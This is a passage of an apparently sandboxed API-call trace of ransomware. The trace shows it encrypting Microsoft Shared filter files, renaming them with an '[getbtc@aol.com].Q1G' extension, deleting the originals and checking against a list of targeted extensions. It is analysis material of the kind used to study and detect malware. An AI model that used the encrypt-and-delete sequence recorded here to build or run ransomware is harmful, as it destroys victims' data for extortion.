files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0055.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.319] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.319] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.319] ReadFile (in: hFile=0x238, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.326] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.326] ReadFile (in: hFile=0x238, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.329] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.329] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.329] ReadFile (in: hFile=0x238, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.352] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.352] WriteFile (in: hFile=0x238, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0055.382] SetEndOfFile (hFile=0x238) returned 1 [0055.436] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4055748 [0055.477] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.477] WriteFile (in: hFile=0x238, lpBuffer=0x4055748*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4055748*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.478] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.478] WriteFile (in: hFile=0x238, lpBuffer=0x4055748*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4055748*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.480] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.480] WriteFile (in: hFile=0x238, lpBuffer=0x4055748*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4055748*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4055748 | out: hHeap=0x510000) returned 1 [0055.481] CloseHandle (hObject=0x238) returned 1 [0055.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.482] lstrlenW (lpString=".doc") returned 4 [0055.482] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString=".docx") returned 5 [0055.482] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0055.482] lstrlenW (lpString=".pdf") returned 4 [0055.482] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString=".xls") returned 4 [0055.482] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString=".xlsx") returned 5 [0055.482] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0055.482] lstrlenW (lpString=".ppt") returned 4 [0055.482] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.482] lstrlenW (lpString=".zip") returned 4 [0055.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString=".rar") returned 4 [0055.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.482] lstrlenW (lpString=".bz2") returned 4 [0055.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.482] lstrlenW (lpString=".7z") returned 3 [0055.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString=".dbf") returned 4 [0055.483] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString=".1cd") returned 4 [0055.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString=".jpg") returned 4 [0055.483] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString=".doc") returned 4 [0055.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString=".docx") returned 5 [0055.483] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0055.483] lstrlenW (lpString=".pdf") returned 4 [0055.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString=".xls") returned 4 [0055.483] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString=".xlsx") returned 5 [0055.483] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0055.483] lstrlenW (lpString=".ppt") returned 4 [0055.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.483] lstrlenW (lpString=".zip") returned 4 [0055.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString=".rar") returned 4 [0055.483] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.483] lstrlenW (lpString=".bz2") returned 4 [0055.483] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.483] lstrlenW (lpString=".7z") returned 3 [0055.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.484] lstrlenW (lpString=".dbf") returned 4 [0055.484] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.484] lstrlenW (lpString=".1cd") returned 4 [0055.484] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.484] lstrlenW (lpString=".jpg") returned 4 [0055.484] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.484] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0055.484] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0055.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.598] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=712592) returned 1 [0055.598] CloseHandle (hObject=0x244) returned 1 [0055.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0055.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.598] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.598] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.599] GetLastError () returned 0x0 [0055.599] ReadFile (in: hFile=0x244, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xadf90, lpOverlapped=0x0) returned 1 [0055.616] WriteFile (in: hFile=0x240, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0055.627] ReadFile (in: hFile=0x244, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.628] WriteFile (in: hFile=0x240, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.628] SetEndOfFile (hFile=0x240) returned 1 [0055.628] CloseHandle (hObject=0x240) returned 1 [0055.628] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.628] SetEndOfFile (hFile=0x244) returned 1 [0055.634] CloseHandle (hObject=0x244) returned 1 [0055.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.635] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0055.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.635] lstrlenW (lpString=".doc") returned 4 [0055.635] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.635] lstrlenW (lpString=".docx") returned 5 [0055.635] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.635] lstrlenW (lpString=".pdf") returned 4 [0055.635] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.635] lstrlenW (lpString=".xls") returned 4 [0055.635] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.635] lstrlenW (lpString=".xlsx") returned 5 [0055.635] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.635] lstrlenW (lpString=".ppt") returned 4 [0055.635] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.635] lstrlenW (lpString=".zip") returned 4 [0055.635] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.635] lstrlenW (lpString=".rar") returned 4 [0055.635] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.635] lstrlenW (lpString=".bz2") returned 4 [0055.635] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.635] lstrlenW (lpString=".7z") returned 3 [0055.635] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".dbf") returned 4 [0055.636] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".1cd") returned 4 [0055.636] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".jpg") returned 4 [0055.636] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".doc") returned 4 [0055.636] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.636] lstrlenW (lpString=".docx") returned 5 [0055.636] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.636] lstrlenW (lpString=".pdf") returned 4 [0055.636] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString=".xls") returned 4 [0055.636] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString=".xlsx") returned 5 [0055.636] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.636] lstrlenW (lpString=".ppt") returned 4 [0055.636] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".zip") returned 4 [0055.636] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString=".rar") returned 4 [0055.636] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.636] lstrlenW (lpString=".bz2") returned 4 [0055.636] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.636] lstrlenW (lpString=".7z") returned 3 [0055.636] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.636] lstrlenW (lpString=".dbf") returned 4 [0055.636] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.637] lstrlenW (lpString=".1cd") returned 4 [0055.637] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.637] lstrlenW (lpString=".jpg") returned 4 [0055.637] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.637] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0055.637] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0055.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.244] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=320384) returned 1 [0057.244] CloseHandle (hObject=0x214) returned 1 [0057.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0057.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.244] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.244] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0057.245] GetLastError () returned 0x0 [0057.245] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0057.255] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0057.261] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.261] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.262] SetEndOfFile (hFile=0x190) returned 1 [0057.262] CloseHandle (hObject=0x190) returned 1 [0057.262] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.262] SetEndOfFile (hFile=0x214) returned 1 [0057.265] CloseHandle (hObject=0x214) returned 1 [0057.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.265] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0057.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.265] lstrlenW (lpString=".doc") returned 4 [0057.265] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.265] lstrlenW (lpString=".docx") returned 5 [0057.265] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.265] lstrlenW (lpString=".pdf") returned 4 [0057.265] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.265] lstrlenW (lpString=".xls") returned 4 [0057.265] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.265] lstrlenW (lpString=".xlsx") returned 5 [0057.266] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.266] lstrlenW (lpString=".ppt") returned 4 [0057.266] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString=".zip") returned 4 [0057.266] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.266] lstrlenW (lpString=".rar") returned 4 [0057.266] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.266] lstrlenW (lpString=".bz2") returned 4 [0057.266] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.266] lstrlenW (lpString=".7z") returned 3 [0057.266] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString=".dbf") returned 4 [0057.266] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString=".1cd") returned 4 [0057.266] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString=".jpg") returned 4 [0057.266] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.266] lstrlenW (lpString=".doc") returned 4 [0057.266] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.266] lstrlenW (lpString=".docx") returned 5 [0057.266] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.266] lstrlenW (lpString=".pdf") returned 4 [0057.266] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.266] lstrlenW (lpString=".xls") returned 4 [0057.266] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.267] lstrlenW (lpString=".xlsx") returned 5 [0057.267] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.267] lstrlenW (lpString=".ppt") returned 4 [0057.267] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.267] lstrlenW (lpString=".zip") returned 4 [0057.267] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.267] lstrlenW (lpString=".rar") returned 4 [0057.267] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.267] lstrlenW (lpString=".bz2") returned 4 [0057.267] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.267] lstrlenW (lpString=".7z") returned 3 [0057.267] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.267] lstrlenW (lpString=".dbf") returned 4 [0057.267] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.267] lstrlenW (lpString=".1cd") returned 4 [0057.267] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.267] lstrlenW (lpString=".jpg") returned 4 [0057.267] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.267] lstrcmpiW (lpString1=".WPG", lpString2=".Q1G") returned 1 [0057.267] lstrlenW (lpString="MS.WPG") returned 6 [0057.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, 